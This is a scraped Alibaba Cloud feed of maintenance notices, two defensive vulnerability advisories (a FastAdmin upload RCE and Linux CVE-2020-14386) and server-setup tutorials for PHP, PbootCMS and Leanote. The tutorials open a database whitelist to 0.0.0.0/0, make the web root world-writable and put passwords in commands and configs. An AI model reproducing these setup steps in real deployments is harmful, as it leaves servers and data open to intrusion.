    维护影响:届时 .Vip/.Work/.Beer/.Luxe/.Fit/.Yoga 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

    2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【升级】9月29日Donuts注册局维护通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【域名】【Donuts注册局维护通知】

    维护时间:北京时间2020年9月29日 01:00-2:30

    维护内容:接到注册局的通知,注册局 / 注册商将于上述时间对后台系统进行维护升级。

    维护影响:届时,您的 .ltd/.group/.pub/.live/.rocks/.band/.market/.software/.social/.lawyer/.engineer/.news/.video/.studio/.today /.plus/.world/.run/.show/.city/.gold/.today/.cool/.zone/.chat/.company/.企业/.游戏 等域名的续费、转入转出、信息修改和过户域名等操作,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的续费、转入、转出域名等操作在支付费用后状态为“处理中”,且可能出现“不成功”等状态;

    2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    如您的业务操作失败,建议维护后再次尝试。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【升级】9月25日消息队列AMQP升级通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【消息队列AMQP】【升级通知】

    升级窗口:北京时间2020年9月25日 00:00 -  03:00

    升级内容:华北1(青岛)、华北2(北京)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、香港等全部地域(及铂金版)的服务升级。

    升级影响:升级期间消息队列AMQP相关服务访问可能会出现多次闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过 5 分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【漏洞预警】FastAdmin 远程代码执行0day漏洞 Fri, 02 May 2025 09:39:03 +0800

    2020年9月22日,阿里云应急响应中心监测到FastAdmin爆发远程代码执行0day漏洞,黑客登录前台会员中心,即可远程GetShell,风险极大。


    漏洞描述

    FastAdmin是一款基于ThinkPHP和Bootstrap的后台开发框架、开放会员中心的站点,上传特定文件可直接GetShell。阿里云应急响应中心提醒FastAdmin用户尽快采取安全措施阻止漏洞攻击。


    影响版本

    全版本(截止2020年9月22日官方暂未发布安全补丁或修复版本)


    漏洞评级

    严重


    安全建议

    1、关闭站点会员中心功能,在/application/config.php文件中,设置'usercenter' => false

    2、暂时关闭文件上传功能


    相关链接

    https://github.com/karsonzhang/fastadmin/issues/73



    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单联系反馈。

    阿里云应急响应中心

    2020.9.22

    ]]>
    【漏洞预警】Linux内核AF_PACKET内存破坏导致权限提升漏洞(CVE-2020-14386) Fri, 02 May 2025 09:39:03 +0800

    近日,阿里云应急响应中心监测到Openwall社区披露一个Linux内核AF_PACKET原生套接字内存破坏漏洞,该漏洞出现在net/packet/af_packet.c中,由整数溢出导致越界写,可以通过它进行权限提升。该漏洞危害评级为高,编号为CVE-2020-14386。


    漏洞描述

    Linux发行版高于4.6的内核版本net/packet/af_packet.c中,在处理AF_PACKET时存在整数溢出漏洞,可以通过它进行权限提升。阿里云应急响应中心提醒用户尽快采取安全措施阻止漏洞攻击。


    受影响Linux发行版系统

    1、Ubuntu Bionic (18.04) 及后续的版本

    2、Debian 9/10

    3、CentOS 8/RHEL 8


    漏洞评级

    CVE-2020-14386  高危


    安全建议

    1、升级内核至安全版本

    2、禁用CAP_NET_RAW功能

    3、阿里云云安全中心Linux软件漏洞模块已支持对该漏洞一键检测和修复,详情登陆云安全中心





    相关链接

    https://www.openwall.com/lists/oss-security/2020/09/03/3

    https://github.com/cgwalters/cve-2020-14386

    https://sysdig.com/blog/cve-2020-14386-falco/



    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单联系反馈。

    阿里云应急响应中心

    2020.9.22

    ]]>
    魔橙科技赋能商业银行,推动区块链金融场景应用落地-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 在魔橙科技CEO陈敏涛看来,区块链技术是以数据加密、时间戳和分布式共识算法为依托,实现链式存储、智能合约和隐私保护等高级功能的分布式账本技术。区块链技术更像数据库和操作系统,是IT基础产业,是下一代互联网的基础设施,是一个未来技术的发展路径。快速发展的区块链技术被认为是可以用于解决新一代互联网价值交换问题以及网络传输的信用问题。

    他认为,区块链技术并非单纯点对点和去中心化。区块链技术的出现会让整个传统互联网平台更加可信、更加透明、更加公平。目前使用区块链技术提供的应用程序,更加互联网化,更加强调公平与双向激励,方便每个人参与进来,分享生态的成果,这才是最好的商业模式。

    魔橙在应用场景中实现有效“信用传递”
    区块链技术的落地就是在一个没有中心的业务模式中,帮助多方建立跨主体的信任环境,否则区块链技术可能并不是最好的解决方案。实际上,区块链技术是一个由所有节点共同维护、共同记账的“公共大账本”。

    魔橙科技独创的联盟链底层技术,结合了多个共识算法优势,实现可伸缩的网络节点准入机制,允许多重共识组合相互切换。极大降低区块链网络开发成本,使得商用网络在构建及运营阶段更加灵活可控,规避了因需求调整带来的潜在风险。

    核心模块包含:高性能共识算法,可伸缩节点,跨共识引擎及链上治理机制等
    魔橙联盟链底层技术.png

    通过区块链底层混沌系统,能够确保参与联盟链共建节点的完全可控性,保证联盟链整体运营的稳定。链上数据公开,联盟见证者可通过区块链浏览器对所有链上数据查询,保证了联盟链的数据公开完整及数据公平。在实际企业项目中,魔橙联盟链能够基于丰富行业应用经验,并结合联盟链的底层技术,以及数据隐私保护和多方安全技术等应用框架的构建,适用于想通过区块链改进商业应用性能的商业需求。

    与银行如何擦出火花?
    金融一直被认为是区块链最合适的落地场景之一,在魔橙的合作方中有不少是大型银行、城商行以及券商。

    在说到区块链应用的细分赛道时,陈敏涛坦言,供应链金融对魔橙来说是很重要的一个主推方向。2020年年初,魔橙参与服务世界500强商业银行的项目中。在该项目中,魔橙提供了结合业务应用场景的整体解决方案,在根据银行单一应用场景细化实现方式。因为是创新技术在金融领域的试点,项目采用敏捷方式开展实施,快速迭代如期交付。(因合作方要求,对于合作银行名字予以保密)

    据魔橙科技负责该项目的总监黄洋表示,在这个项目中,魔橙的主要作用是协同银行,基于“区块链+”模式重构银行生态系统,构建新型的区块链金融服务业务模式和拓展商业银行多类应用场景拓展。目前项目搭建基于区块链技术的微服务控制台系统,包含区块链服务接口、合约网关、安全合规、链上账户管理、智能合约管理;通用服务、可信存证、交易查询中心、通用监控,前端控制台等模块。

    “我们提供的是基础设施,让客户基于我们的服务,去做自己的金融服务,目的是让他们用魔橙的区块链。同时,供应链金融一个很大的特性是参与方越多越好,而且不同参与方的链与链之间是有交集的,最终市场将形成网状。”黄洋表示,魔橙的愿景是,通过底层,把所有的核心企业、上下游企业、金融机构,包括保理,券商之类的企业链接在一起,他们做他们的业务,我们降低他们的交易和信任成本。只要规模做大了,就是魔橙的诉求。
    **
    魔橙的目标和定位是什么**

    区块链是个基础设施,最终市场上同类企业不会太多,做底层技术的也不会有几家,但是在这个基础设施上做应用的公司非常多。我们要把基础设施做好,目的是让其他业务公司用我们的区块链。

    每个行业都是有门槛的,但是以技术为依托,我们会有很多合作伙伴,魔橙会和行业专家一起做事情,争取行业的支持。2020年7月,魔橙与复旦大学、上海海事大学、上海海洋大学联合研发推出“跨境贸易风险监测与可信溯源”平台正式上线。

    接下来,魔橙科技将与更多金融机构共建跨产业、跨机构的数字经济新模式,实现真正意义上的产业数字化。

    ]]>
    阿里云小程序PHP环境怎么搭建-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 最近想着阿里云能不能搭建小程序官方的demo,之前用过基于腾迅云的小程序解决方案,虽然很好,但夸何没有在腾迅云注册备案过域名,而曾经在阿里云上注册备案过域名.本文主要和大家分享阿里云如何搭建小程序PHP环境,希望能帮助到大家。image.png
    现在立即选购赠送3000元大礼包

    基本环境 CentOS 7.3
    (一)安装 Nginx

    yum -y install nginx

    查看是否安装成功

    nginx -v

    如果安装成功则显示

    (二)安装 PHP
    Wafer 的 Demo 需要 5.6 以上版本的 PHP,添加 remi 源.

    wget 'https://mirrors.tuna.tsinghua.edu.cn/remi/enterprise/remi.repo' -O /etc/yum.repos.d/remi.repo

    查看是否安装成功

    php -v

    php版本要大于5.6
    (三)配置 Nginx 和 HTTPS
    申请一个 SSL 证书,可以到阿里云申请免费的 SSL 证书,申请成功之后下载证书,并把压缩包中 Nginx 目录下的证书文件上传到服务器的 /data/release/nginx 目录,如果没有这个目录则新建:上传完证书以后,配置 Nginx,进入服务器的 /etc/nginx/conf.d 目录,新建一个 weapp.conf 文件,内容为以下,注意(www.xx.com改为自己的域名,1_www.xx.com_budle.crt和2_www.xx.com.key分别改为自己的证书文件)

    # 重定向 http 到 https
    
    www.xx.com
    server { listen 80; server_name www.xx.com; rewrite ^(.*)$ https://$server_name$1 permanent;}server { listen 443; server_name www.xx.com; ssl on; ssl_certificate /data/release/nginx/1_www.xx.com_bundle.crt; ssl_certificate_key /data/release/nginx/2_www.xx.com.key; ssl_session_timeout 5m; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA; ssl_session_cache shared:SSL:50m; ssl_prefer_server_ciphers on; root /data/release/php-demo; location ~ .php$ { root /data/release/php-demo; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } location /weapp/ { root /data/release/php-demo; index index.html index.htm index.php; try_files $uri $uri/ /index.php; }}

    运行nginx

    nginx -t

    (四)安装mysql
    安装mysql5.7

    1、配置YUM源

    下载mysql源安装包

    wget http://dev.mysql.com/get/mysql57-community-release-el7-8.noarch.rpm

    安装mysql源

    yum localinstall mysql57-community-release-el7-8.noarch.rpm

    检查mysql源是否安装成功
    yum repolist enabled | grep "mysql.-community."
    image.png

    2、安装MySQL

    yum install mysql-community-server

    3、启动MySQL服务

    systemctl start mysqld

    查看MySQL的启动状态
    shell> systemctl status mysqld
    image.png

    4、开机启动

    systemctl enable mysqld
    systemctl daemon-reload

    5、修改root本地登录密码

    mysql安装完成之后,在/var/log/mysqld.log文件中给root生成了一个默认密码。通过下面的方式找到root默认密码,然后登录mysql进行修改:
    grep 'temporary password' /var/log/mysqld.log

    登陆并修改默认密码
    mysql -u root -p

    mysql>ALTER USER 'root'@'localhost' IDENTIFIED BY '新密码!';

    新建一个数据库名为 cAuth,排序规则为 utf8mb4_unicode_ci,小程序后台用到
    mysql>CREATE DATABASE IF NOT EXISTS cAuth,排序规则为 DEFAULT CHARSET utf8mb4 COLLATE utf8mb4_unicode_ci;
    image.png
    (五)上传 Demo 和启动
    到 wafer2-quickstart-php 仓库下载最新的 Demo 代码,修改 server/config.php:

    <?php/**

    Wafer php demo 配置文件
    */$config = [ 'rootPath' => '', // 微信小程序 AppID

    'appId' => '', // 微信小程序 AppSecret
    'appSecret' => '', // 使用腾讯云代理登录
    'useQcloudLogin' => false, //不使用腾迅云代理登录 /**

    这里请填写云数据库的
    */
    'mysql' => [ 'host' => 'localhost', 'port' => 3306, 'user' => 'root', 'db' => 'cAuth', 'pass' => '数据库密码', 'char' => 'utf8mb4'
    ], 'cos' => [ /**

    区域上海:cn-east广州:cn-sorth北京:cn-north广州二区:cn-south-2成都:cn-southwest新加坡:sg@see https://cloud.tencent.com/document/product/436/6224
    */

    'region' => 'cn-sorth', // Bucket 名称

    'fileBucket' => 'wafer', // 文件夹
    'uploadFolder' => ''

    ], // 微信登录态有效期
    'wxLoginExpires' => 7200, 'wxMessageToken' => 'abcdefgh', // 其他配置
    'serverHost' => 'wx.wafersolution.com', 'tunnelServerUrl' => 'http://tunnel.ws.qcloud.la', 'tunnelSignatureKey' => '27fb7d1c161b7ca52d73cce0f1d833f9f5b5ec89', // 腾讯云相关配置可以查看云 API 秘钥控制台:https://console.cloud.tencent.com/capi
    'qcloudAppId' => 1200000000,// 必须是数字
    'qcloudSecretId' => '你的腾讯云 SecretId', 'qcloudSecretKey' => '你的腾讯云 SecretKey', 'networkTimeout' => 30000];

    接着将 server 目录下的所有文件都上传到 /data/release/weapp/php-demo 目录下:

    相关推荐:

    linux下apache重启并查看php环境

    PHP环境配置

    LNMP环境搭建(一)搭建PHP环境

    以上就是阿里云如何搭建小程序PHP环境的详细内容。

    云服务器ECS地址:链接地址
    阿里云2000元通用代金券:点击领取

    ]]>
    9.25直播预告|如何0基础获得Apache Cassandra Administrator国际认证?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 本周五(9月25号)下午4点不见不散哦~
    • 本期直播主题:如何0基础获得Apache Cassandra Administrator国际认证?
    • 直播时间:9月25号(周五)16:00-17:00
    • 直播讲师:米诺|阿里云NoSQL数据库产品专家
    • 直播简介:Apache Cassandra在宽表数据库流行度中持续8+年排第一,已成为国内外流行度最高的宽表数据库。本次技术直播将为您分享0基础拿Cassandra Administrator国际认证的考试经验。

    参与方式:

    钉钉扫描下方海报二维码进群观看直播
    米诺.png

    ]]>
    传统服务器和ECS区别-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 传统服务器:

    金钱成本 服务周期

    资源限制 人力投入

    阿里云ECS服务器:

    根据企业运行环境按需购买

    数据多次备份

    超A级数据中心--双路独市电,三路网络,N+1柴油发电机后备电源

    自动化运维自动迁移到其他物理机 ----稳定性和联系性

    云盾----安全防护

    将企业数据库资源,存储资源,计算资源打通,连接资源孤岛,应用孤岛,数据孤岛,全局快速进行市场洞察

    ]]>
    ECS训练营-第一天-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 ECS训练营-第一天

    今天完成了6个课程,首先了解了什么是ECS(elastic compute service),然后创建了服务器实例,安装CentOS系统,用ssh远程连接了系统,完成了Apache、SQL的安装。
    image.png

    ]]>
    Class 4 使用PolarDB和ECS搭建门户网站-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 使用PolarDB和ECS搭建门户网站

    1.创建资源

    1. 在页面左侧,单击 云产品资源 下拉菜单,查看本次实验资源。
    2. 单击 免费开通 创建所需资源。

    1-01.png

    资源创建过程需要1~3分钟。完成实验资源的创建后,您可以在 云产品资源 列表查看已创建的资源信息,例如:IP地址、用户名和密码等。

    2.创建PolarDB数据库账号

    1. 单击页面左侧 云产品资源 > 一键复制登录url

    4-02.png

    1. 打开浏览器隐身窗口(无痕模式),粘贴已复制的url地址前往 RAM用户登录 界面,登录 阿里云管理控制台

    以Chrome浏览器为例,打开新的无痕窗口,登录 阿里云管理控制台

    1. 依次单击更多>打开新的无痕窗口。
    2. 在地址栏粘贴登录url,访问 RAM用户 登录页面
    3. 在登录用户名称处,输入 子用户名称 ,单击 下一步
    4. 输入密码,单击 登录 进入 阿里云管理控制台
    1. 阿里云控制台首页 左侧导航栏,依次单击 产品与服务 > 云数据库PolarDB ,进入 云数据库PolarDB管理控制台

    4-03.png

    1. 单击左侧 集群列表 ,然后选择云产品资源提供的地域。例如:华东2(上海)

    4-04.png

    1. 创建数据库账号。

      1. 集群列表 页面,单击 集群ID ,进入 集群详情界面

    4-05.png

    1. 单击左侧导航栏 配置与管理 > 账号管理
    2. 单击左上方 创建账号

    4-06.png

    1. 参考说明配置账号信息,然后单击 确定

    4-07.png

    • 数据库账号:输入数据库账号名称,例如:test_user 。
    • 账号类型:此处选择普通账号。
    • 密码:设置账号密码,例如:Password1213。
    • 确认密码:再次输入密码。
    1. 创建数据库。

      1. 在实例详情页,单击左侧导航栏的 数据库管理 ,然后单击 创建数据库

    4-08.png

    1. 参考说明配置数据库信息,然后单击 创建

    4-09.png

    • 数据库(DB)名称:输入数据库名称,例如:pbootcms 。
    • 支持字符集:默认设为utf8mb4。
    • 授权账号:选择上一步创建的数据库账号test_user。
    • 账号类型:默认设置为读写。
    • 备注说明:非必填。用于备注该数据库的相关信息,便于后续数据库管理,最多支持256个字符。
    1. 设置数据库白名单。

    连接数据库需要设置数据库白名单,点击 [集群白名单],然后点击 [设置] 设置数据库集群白名单。

    4-10.png

    在白名单界面将默认的白名单地址127.0.0.1更改为 0.0.0.0/0,然后点击 [确定] 使白名单地址生效。

    4-11.png

    连接ECS服务器

    1. 打开终端工具。
    • Windows:打开命令窗口。
    • MAC:打开命令行终端Terminal。

    Windows用户请检查系统中是否安装有SSH工具。检查方法:

    在终端中输入命令 ssh -V 。

    ssh -V

    如果显示SSH版本则表示已安装,如下图所示。

    1-02.png

    如果未安装,请下载安装 OpenSSH工具。

    1. 在终端中输入连接命令 ssh [username]@[ipaddress] 。

    您需要将其中的username和ipaddress替换为步骤一中创建的ECS服务器的弹性公网IP。例如:

    ssh root@123.123.123.123

    4-12.png

    命令显示结果如下:

    2-03.png

    1. 输入 yes。
    2. 同意继续后将会提示输入登录密码。 密码为已创建的云服务的ECS的登录密码。

    2-04.png

    登录成功后会显示如下信息。

    2-05.png

    安装LAMP环境

    LAMP是指运行在Linux下的Apache、MySQL和PHP的环境。参考以下操作在云服务器上安装开发环境。

    1. 在ECS服务器上,执行以下命令安装Apache服务及其扩展包。
    yum -y install httpd httpd-manual mod_ssl mod_perl mod_auth_mysql

    返回类似如下图结果则表示安装成功。

    4-13.png

    1. PbootCMS是使用PHP语言开发的CMS系统。参考以下操作安装PHP环境。

    执行以下命令,安装PHP。

    yum -y install php php-mysql gd php-gd gd-devel php-xml php-common php-mbstring php-ldap php-pear php-xmlrpc php-imap
    1. 执行以下命令下载并安装MySQL。
    wget http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm
    yum -y install mysql57-community-release-el7-10.noarch.rpm
    yum -y install mysql-community-server
    1. 执行以下命令启动MySQL数据库。
    systemctl start mysqld

    搭建门户网站

    在完成环境部署后,参考以下操作搭建门户网站。

    1. 在ECS服务器上,执行以下命令,安装Git。
    yum -y install git
    1. 在ECS服务器上,执行以下命令下载PbootCMS源码文件。
    cd ~ && git clone https://gitee.com/hnaoyun/PbootCMS.git
    1. 执行以下命令将安装包拷贝到Apache的wwwroot目录下。
    cp -r PbootCMS/* /var/www/html/
    1. 执行以下命令修改站点根目录文件权限。
    chmod -R a+w /var/www/html
    1. 向数据库中导入CMS的初始数据。

    执行以下命令初始化数据库pbootcms的表结构和数据。

    说明: 在执行命令前,请修改一下三个参数。

    • 数据库连接地址参见集群详情页面下方链接地址板块。
    • test_user为步骤二中创建的数据库账号。
    • Password1213步骤二中创建的数据库密码。
    sql_file="/var/www/html/static/backup/sql/"$(ls /var/www/html/static/backup/sql/) &&
    mysql -h数据库连接地址 -utest_user -pPassword1213 -Dpbootcms < $sql_file
    1. 执行以下命令,修改CMS系统数据库配置。

    说明: 在执行命令前,请根据参数说明替换您的数据库配置。

    cat > /var/www/html/config/database.php << EOF
    <?php
    return array(
        'database' => array(
            'type' => 'mysqli', // 数据库连接驱动类型: mysqli,sqlite,pdo_mysql,pdo_sqlite
            'host' => '数据库连接地址', // PolarDB数据库链接地址
            'user' => 'test_user', // PolarDB数据库的用户名
            'passwd' => 'Password1213', // PolarDB数据库的密码
            'port' => '3306', // 数据库端口
            'dbname' => 'pbootcms' //数据库名称
        )
    );
    EOF
    1. 返回ECS控制台,在ECS实例列表页面,单击已创建的ECS实例ID链接进入ECS详情页。
    2. 在左侧导航栏,单击 本实例安全组 ,然后单击安全组的ID链接查看安全组配置。

    确保安全组开放了80端口访问,否则无法访问已搭建的门户网站。安全组是一种虚拟防火墙,具备状态检测和数据包过滤能力,用于在云端划分安全域。通过配置安全组规则,您可以控制安全组内一台或多台ECS实例的入流量和出流量。

    4-14.png

    1. 访问程序。

    执行以下命令重启 Apache服务。

    systemctl restart httpd

    在浏览器地址栏输入云服务器的公网IP地址,进入门户网站首页

    系统后台默认访问路径为http://<ECS公网IP地址>/admin.php。默认账号为admin,密码为123456

    至此您已完成门户网站的搭建,您可以根据公司的需求自定义门户网站的内容。

    4-15.png

    ]]>
    Class 5 搭建个人Leanote云笔记本-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 搭建个人Leanote云笔记本

    本教程将介绍如何搭建个人Leanote云笔记本。

    场景体验目标

    本场景将提供一台配置了CentOS 7.7的ECS实例(云服务器)。您可以参考本教程的操作基于已有的环境搭建一个Leanote云笔记本。

    背景知识

    Leanote是一款在线的云笔记应用,有如下特点:

    • 支持网页、PC、手机APP客户端和微信版,随时记录,方便分享,支持语音,图片输入。
    • 代码高亮,涵盖所有主流语言的代码高亮,随心所欲在Leanote里写代码,记知识。
    • Markdown 编辑器,实时同步预览。
    • 专业数学公式编辑,像Word和Latex能编辑数学公式。
    • 支持创建思维脑图,将散乱的想法以树状信息分层展示。
    • 详细历史纪录,每次保存都在后端备份,轻松查找,一键恢复。
    • 实时同步云端。

    1.创建资源

    1. 请点击页面左侧的 云产品资源,在下拉栏中,查看本次实验资源信息;
    2. 在资源下拉栏点击 免费开通 按钮,开始创建实验资源。

    1-01.png

    说明:资源创建过程需要1-3分钟。完成实验资源的创建后,用户可以通过 云产品资源 查看实验中所需的资源信息,例如:IP地址、用户名、密码等。

    2.连接ECS服务器

    1. 打开系统自带的终端工具。
    • Windows:CMD或Powershell。
    • MAC:Terminal。
    1. 在终端中输入连接命令ssh [username]@[ipaddress]。您需要将其中的username和ipaddress替换为第1小节中创建的ECS服务器的登录名和公网地址。例如:
    ssh root@123.123.123.123

    5-02.png

    命令显示结果如下:

    2-03.png

    1. 输入yes。
    2. 同意继续后将会提示输入登录密码。 密码为已创建的云服务的ECS的登录密码。

    2-04.png

    登录成功后会显示如下信息。

    2-05.png

    3.安装MongoDB

    MongoDB是一个基于分布式文件存储的高性能数据库,介于关系数据库和非关系数据库之间,它支持的数据结构非常松散是类似于json和bson格式,因此可以存储比较复杂的数据类型。Mongo最大的特点是它支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。

    Leanote云笔记使用MongoDB作为后端数据库,按照以下步骤按照MongoDB数据库。

    1. 执行以下命令,安装MongoDB。
    yum -y install mongodb mongodb-server.x86_64 mariadb-devel.i686
    1. 执行以下命令,启动MongoDB服务。
    systemctl start mongod
    1. 执行以下命令,查看MongoDB运行状态。
    systemctl status mongod

    5-03.png

    4.安装Leanote

    1. 下载Leanote二进制安装包。
    wget https://nchc.dl.sourceforge.net/project/leanote-bin/2.6.1/leanote-linux-amd64-v2.6.1.bin.tar.gz
    1. 解压安装包。
    tar -zxvf leanote-linux-amd64-v2.6.1.bin.tar.gz
    1. 编辑文件leanote/conf/app.conf,在文件中找到app.secret项,将该项的值改为任意字符串。(如不修改将会有安全风险)。

    说明: 根据Leanote官方文档,如不修改app.secret项的值,将会有安全隐患。

    1. 使用vim编辑器打开文件leanote/conf/app.conf。
    vim leanote/conf/app.conf
    1. 进入vim编辑器后,输入:/app.secret=并按下回车查找app.secret位置。
    2. 找到该项位置后按下i键进入编辑模式,修改该项的值为任意字符串。
    3. 修改完成后,按下esc键退出编辑模式,输入:wq保存并退出vim编辑器。

    修改后如图所示。

    5-04.png

    1. 初始化数据库。
    mongorestore -h localhost -d leanote --dir /root/leanote/mongodb_backup/leanote_install_data/
    1. 启动服务。
    nohup bash /root/leanote/bin/run.sh > /root/leanote/run.log 2>&1 &
    1. 访问云笔记。

    在浏览器中访问http://<ECS公网地址>:9000,请将<ECS公网地址>替换为左侧资源栏中的ECS公网IP地址。默认管理用户为admin,密码为abc123。登录成功后如下图所示。

    5-05.png

    ]]>
    ECS七天训练营入门笔记(1)-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 使用云计算的优势:
    1 无需采购硬件设备,按需购买资源;
    2 拥有至少50多种操作系统,轻松实现LAMP系统或者windows服务器;
    3购买简单配置灵活。
    阿里云计算的优点:
    1 多层次的备份;
    2 多路供电保证服务器无断电;
    3 云盾安全防护保障服务器安全;
    4 将数据库、存储和计算资源统一。

    ]]>
    ECS学习心得1-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 传统服务器具有价格高昂,采购周期长,资源闲置浪费率高,维护成本高的缺点。

    阿里云ECS覆盖50多款操作系统,包含开源LAMP组合和常见的Windows平台。

    包含传统x86服务器及GPU和FPGA的异构计算,包含通用型,内存型,网络增强型,本地SSD型和计算型,甚至企业级Oracle数据库所需的超大规格独占物理机,配置及使用更为灵活。

    ECS在底层对每份数据进行多次备份,物理层面拥有超A级数据中心,通过双路独市电引入、三路网络和N+1柴油发电机后备电源确保数据安全。

    ECS自动化运维将数据迁移到其他物理机,将数据恢复到故障前最后状态,屏蔽硬件故障同时保证业务稳定和连续。

    ECS可在底层打通企业数据库资源,存储资源和计算资源,联通传统IT烟囱式架构下的资源孤岛,应用孤岛和数据孤岛,提高信息整合能力。

    ]]>
    Class 6 案例分享——钉钉-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Q:钉钉背后的技术架构是怎样的?应用了阿里云的哪些服务?
    A:钉钉作为一个企业级产品,使用了热门的平台技术SaaS。钉钉很多的设计都面向云去设计,这样产品可以随着云建设更快地部署,更多地适应客户需求。钉钉目前使用了ECS、OSS、OTS,未来还将用到Open Search。钉钉很多的数据都部署在阿里云的ECS上,因此数据也就存在RDS上,即阿里云的数据库,这些数据的安全,整体服务的可靠十分重要,阿里云已有的基础设施,符合钉钉对稳定性,对性能的要求。
    Q:可否具体谈谈使用云计算后为钉钉解决问题或者带来的价值?
    A:钉钉上有一个非常受客户喜欢的应用叫日志,通过日志。员工每天可以发日报、周报,也可以发一些月报,钉钉的模板是可以定制化的,适合每家公司对日志的要求。日志的整体服务,实际上就部署在阿里云的ECS,这是我们和一家ISV共同开发的。如果没有阿里云,那整个数据的安全性,以及整体服务的稳定性都存在疑问,随着用户量不断增大,整个架构能不能水平扩容,都会有很大的担忧。
    Q:企业级用户对应用的安全性有更高的要求,钉钉如何介入阿里云保障企业信息安全?
    A:我们把安全作为钉钉的一个重要功能来设计和保障,首先从信息的存储、传输,无论是在客户端的存储还是在服务端的存储,我们都采用了最高的加密程序,对它进行加密,首先我们阿里云的基础设施安全,提供了很周全的防护,包括黑客攻击。包括DDoS攻击等,保障了网站的稳定性,阿里云这些安全方面的产品,实际上给钉钉节省了很多工作,我们不需要再担心主机被第三方,破解账号登录的问题了,我们能花费更多的时间去考虑怎样让我们的产品变得更安全。

    ]]>
    在ECS上部署门户网站-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800
  • 根据PolarDB官方文档创建一个数据库集群,并设置白名单为ECS IP.
  • 然后在ECS上使用LAMP一键安装,安装的时候选择MySQL5.7版本的数据库.
  • 通过git下载PbootCM的源码并放到Apache的wwwroot目录下,并对这些文件加上所有人都可以写的权限.
    然后导入CMS的初始数据:
  • $ sql_file="/var/www/html/static/backup/sql/"$(ls /var/www/html/static/backup/sql/) &&
    mysql -h数据库连接地址 -utest_user -pPassword1213 -Dpbootcms < $sql_file
    1. 修改CMS的数据库配置,使用PolarDB数据库:
    $ cat > /var/www/html/config/database.php << EOF
    <?php
    return array(
        'database' => array(
            'type' => 'mysqli', // 数据库连接驱动类型: mysqli,sqlite,pdo_mysql,pdo_sqlite
            'host' => '数据库连接地址', // PolarDB数据库链接地址
            'user' => 'test_user', // PolarDB数据库的用户名
            'passwd' => 'Password1213', // PolarDB数据库的密码
            'port' => '3306', // 数据库端口
            'dbname' => 'pbootcms' //数据库名称
        )
    );
    EOF
    1. 在ECS控制台上开放80端口,然后重启apache服务,即可通过ECS IP访问到该门户网站.
    ]]>
    wordpress 网站安装主题-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 1、在主题库中直接搜索安装。

    2、上传主题包,安装主题。

    3、安装主题碰到的问题

    (1)、上传的文件尺寸超过upload_max_filesize文件中定义的php.ini值.

            解决方法:
            修改/etc/php.ini文件中的   
    
            post_max_size = 20M
            upload_max_filesize = 20M
            然后保存,重启一下apache服务。
    

    (2)、Wordpress上传文件提示“无法建立目录wp-content/uploads/2020/09。有没有上级目录的写权限?”

           解决方法:找到wordpress数据库,打开wp_options表,修改表中键名为upload_path的键值 这个值是一个路径,里面是空的(也可能不是空的),添加 “wp-content/uploads” 就解决了。 ===双引号必加!类似于注册表键值
    ]]>
    阿里云服务器选择及使用体验!-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    ]]>
    用图机器学习探索 A 股个股相关性变化-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 在本系列的前文 [1,2]中,我们介绍了如何使用 Python 语言图分析库 NetworkX [3] + Nebula Graph [4] 来进行<权力的游戏>中人物关系图谱分析。

    在本文中我们将介绍如何使用 Java 语言的图分析库 JGraphT [5] 并借助绘图库 mxgraph [6] ,可视化探索 A 股的行业个股的相关性随时间的变化情况

    JGraphT

    数据集的处理

    本文主要分析方法参考了[7,8],有两种数据集:

    股票数据(点集)

    从 A 股中按股票代码顺序选取了 160 只股票(排除摘牌或者 ST 的)。每一支股票都被建模成一个点,每个点的属性有股票代码,股票名称,以及证监会对该股票对应上市公司所属板块分类等三种属性;

    表1:点集示例

    顶点id 股票代码 股票名称 所属板块
    1 SZ0001 平安银行 金融行业
    2 600000 浦发银行 金融行业
